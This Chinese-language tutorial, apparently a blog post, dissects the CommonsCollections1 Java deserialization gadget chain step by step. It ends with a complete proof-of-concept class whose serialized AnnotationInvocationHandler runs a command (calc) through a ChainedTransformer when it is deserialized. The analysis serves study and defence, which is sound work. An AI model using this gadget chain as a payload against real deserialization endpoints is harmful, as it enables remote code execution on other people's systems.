CommonsCollections1反序列化链简析

如果Java项目具有Commons Collections3.2.1依赖,则会存在反序列化利用漏洞

该链中,终点是InvokerTransformer类,它是接口transform的一个实现类,其重写的transform()方法可以通过反射的方式调用危险方法

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}

最终执行的就是

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());

接下来,寻找调用了transform的类或实例,在TransformedMap类下的checkSetValue()方法存在

protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

可惜,该方法及该类的构造器都被protected修饰,无法在类外调用,但是往上翻可以看到一个decorate()方法可以对valueTransformer进行赋值

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

先对现有的链进行包装

Map<Object, Object> map = new HashMap<Object, Object>();
map.put("key", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

下一步是找到能触发checkSetValue()方法的机会,从MapEntry类的setValue()方法里看到了

public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}

简单说的话,我们从TransformedMap里遍历出的元素就是MapEntry的实例,所以可以用for增强提取出单个entry去使用setValue()方法,处理完后的链

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map<Object, Object> map = new HashMap<Object, Object>();
map.put("key", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry<Object,Object> entry : transformedMap.entrySet()) {
entry.setValue(Runtime.getRuntime());
}

详细点说,transformedMap在遍历调用entrySet()时,使用了父类重写的entrySet()方法

public Set entrySet() {
return (Set)(this.isSetValueChecking() ? new EntrySet(this.map.entrySet(), this) : this.map.entrySet());
}

而这里调用的isSetValueChecking()transformedMap自己的isSetValueChecking()

protected boolean isSetValueChecking() {
return this.valueTransformer != null;
}

往前调用decorate()方法时,valueTransformer被赋值为invokerTransformer,所以isSetValueChecking()会返回true,对应到entrySet()里就是返回包装后的EntrySet实例

在for-each循环中,会隐式调用这个自定义 EntrySetiterator() 方法,该方法返回一个 EntrySetIterator 实例

public Iterator iterator() {
return new EntrySetIterator(this.collection.iterator(), this.parent);
}

EntrySetIterator尝试使用next()方法获取下一个元素时,该方法返回的是一个MapEntry类型的实例,这就是能拿到MapEntry的全过程

public Object next() {
Map.Entry entry = (Map.Entry)this.iterator.next();
return new MapEntry(entry, this.parent);
}

这里返回的MapEntryparent属性来源于EntrySetIteratorparent,而EntrySetIteratorparent来自于EntrySetparentEntrySetAbstractInputCheckedMapDecorator类的entrySet()方法产生,在构建时给parent传递的就是AbstractInputCheckedMapDecorator类型,对应到链中,遍历由transformedMap发起,而transformedMap的类是TransformedMap,继承于AbstractInputCheckedMapDecorator类,所以最后MapEntry执行的setValue()实际就是transformedMap.checkSetValue()

如果单单知道遍历过程返回了一个MapEntry倒还好,但是要溯源这一整个过程属实很困难,其中涉及到很多继承关系和实现类与接口,完全的抽象,这很Java

接下来继续寻找setValue()的上层,发现在AnnotationInvocationHandler类的readObject()方法中调用了setValue()

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
Object var2 = null;

try {
var10 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var10.memberTypes();

for(Map.Entry var5 : this.memberValues.entrySet()) {
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var10.members().get(var6)));
}
}
}

}

这里var5是从属性this.memberValues遍历出来的,跟我们先前的构造有异曲同工之妙,下面看memberValues是从构造器中被赋值的

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

但是AnnotationInvocationHandler类的修饰符是default,无法在包外调用,需要利用反射去实例化它

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class,transformedMap)

理论上直接往var2transformedMap后面的var5就是需要的MapEntry,但是要执行到var5.setValue()还有两层if判断需要处理

根据String var6 = (String)var5.getKey()var6是从this.memberValues提取出的键名

首先要求var7不为空。var7的来历是var10 = AnnotationType.getInstance(this.type) -> Map var3 = var10.memberTypes() -> Class var7 = (Class)var3.get(var6),这里首先从this.type属性获得该注解类对应的、全局唯一的 AnnotationType 实例,再从该实例中获取一个Map,该Map存储了注解中每个成员的名字和该成员被定义的类型,再从Map中获取键为var6的值强转为Object赋给var7。而要求var7不为空,实际则指传入 memberValues 的键名,必须是目标注解中存在的成员名称

Action注解中,有好几个成员

public @interface Action { 
String input() default "";
String output() default "";
FaultAction[] fault() default { };
}

把先前map.put("key", "value")中的key改为任意一个(如input)即可通过检查

第二层if判断,要求var8不是var7类型和ExceptionProxy类型的实例,这里的var7经过上面的强转是一个Class类型,var8Object var8 = var5.getValue()而来,因为我选择了Action注解的input成员,此处把put过去的值变成数字就能通过了

通过if判断后,setValue()语句长这样

var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var10.members().get(var6)));

正常说,应该让setValue()的参数为Runtime.getRuntime(),而此处的参数被定义为了一长串无法控制的参数

实际上,执行setValue()的意义在于执行checkSetValue(),执行checkSetValue()的意义在于执行transformedMap中的this.valueTransformer.transform(),可以寻找一个类,让其执行transform()与参数无关,而正好有一个ConstantTransformer满足条件,它的transform()被方法重写为

public Object transform(Object input) {
return this.iConstant;
}

返回值完全与input无关,直接返回了属性iConstant,该属性在构建时被赋值

public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

但是这个类只能做到返回,不能去执行,还需要一个能够协调ConstantTransformerinvokerTransformer执行transform()方法的工具

ChainedTransformer这个类中,其重写的transform()方法很有意思

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

iTransformers是一个存储了Transformer对象的数组,在构建时被赋值

public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

ChainedTransformertransform()方法从iTransformers数组中逐个遍历出Transformer对象并执行它们的transform()方法,并把上一个transform()方法执行完的返回值当作下一个transform()的参数

在构建transformer数组前还有一个问题,Runtime没有接入Serializable接口,不能被序列化。所以在构建transformer数组时执行的命令链应该是利用反射实例化Runtime

如果chainedTransformer能构建出这样的iTransformers

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),};

chainedTransformer作为valueTransformer执行decorate(),那么最后执行到setValue()时,无论在setValue()传入了什么,都会被第一步ConstantTransformer执行transform()固定返回Runtime.class覆盖,之后就是命令链条的执行

最后的反序列化链,执行自动触发计算器

public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashMap<Object, Object>();
map.put("input",1);
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Action.class,transformedMap);
serialize(o);
unserialize("ser1.bin");
}

public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser1.bin")));
oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
objectInputStream.readObject();
}

}

总结一下,在链中,一个AnnotationInvocationHandler对象被反序列化,这会触发其readObject()方法,该方法对传入的transformedMap调用了setValue()方法,该方法又调用了checkSetValue()checkSetValue()的执行又调用了transformedMap中的this.valueTransformer.transform(),实际上就是chainedTransformer.transform(),该方法第一层无视了参数,直接返回Runtime.class,之后的transform()通过链式执行造成了恶意命令触发

ois.readObject()
└── AnnotationInvocationHandler.readObject()
├── this.memberValues.entrySet()
│ └── (TransformedMap).entrySet()
│ └── AbstractInputCheckedMapDecorator.entrySet()
│ ├── this.isSetValueChecking()
│ │ └── (TransformedMap).isSetValueChecking()
│ └── new EntrySet(..., this) // 创建EntrySet

├── EntrySet.iterator()
│ └── new EntrySetIterator(..., this.parent) // 创建迭代器,传递parent

└── for (Map.Entry var5 : ...) // 遍历循环
├── EntrySetIterator.next()
│ └── new MapEntry(entry, this.parent)

├── 类型检查逻辑 (var7 != null && !var7.isInstance(var8))

└── MapEntry.setValue(AnnotationTypeMismatchExceptionProxy)
└── parent.checkSetValue(value)
└── (TransformedMap).checkSetValue()
└── this.valueTransformer.transform(value) // 执行预设的Transformer链
└── ChainedTransformer.transform()
├── ConstantTransformer.transform() // Runtime.class
├── InvokerTransformer.transform() // getMethod("getRuntime")
├── InvokerTransformer.transform() // invoke(null) Runtime
└── InvokerTransformer.transform() // exec("calc")
└── Runtime.getRuntime().exec("calc")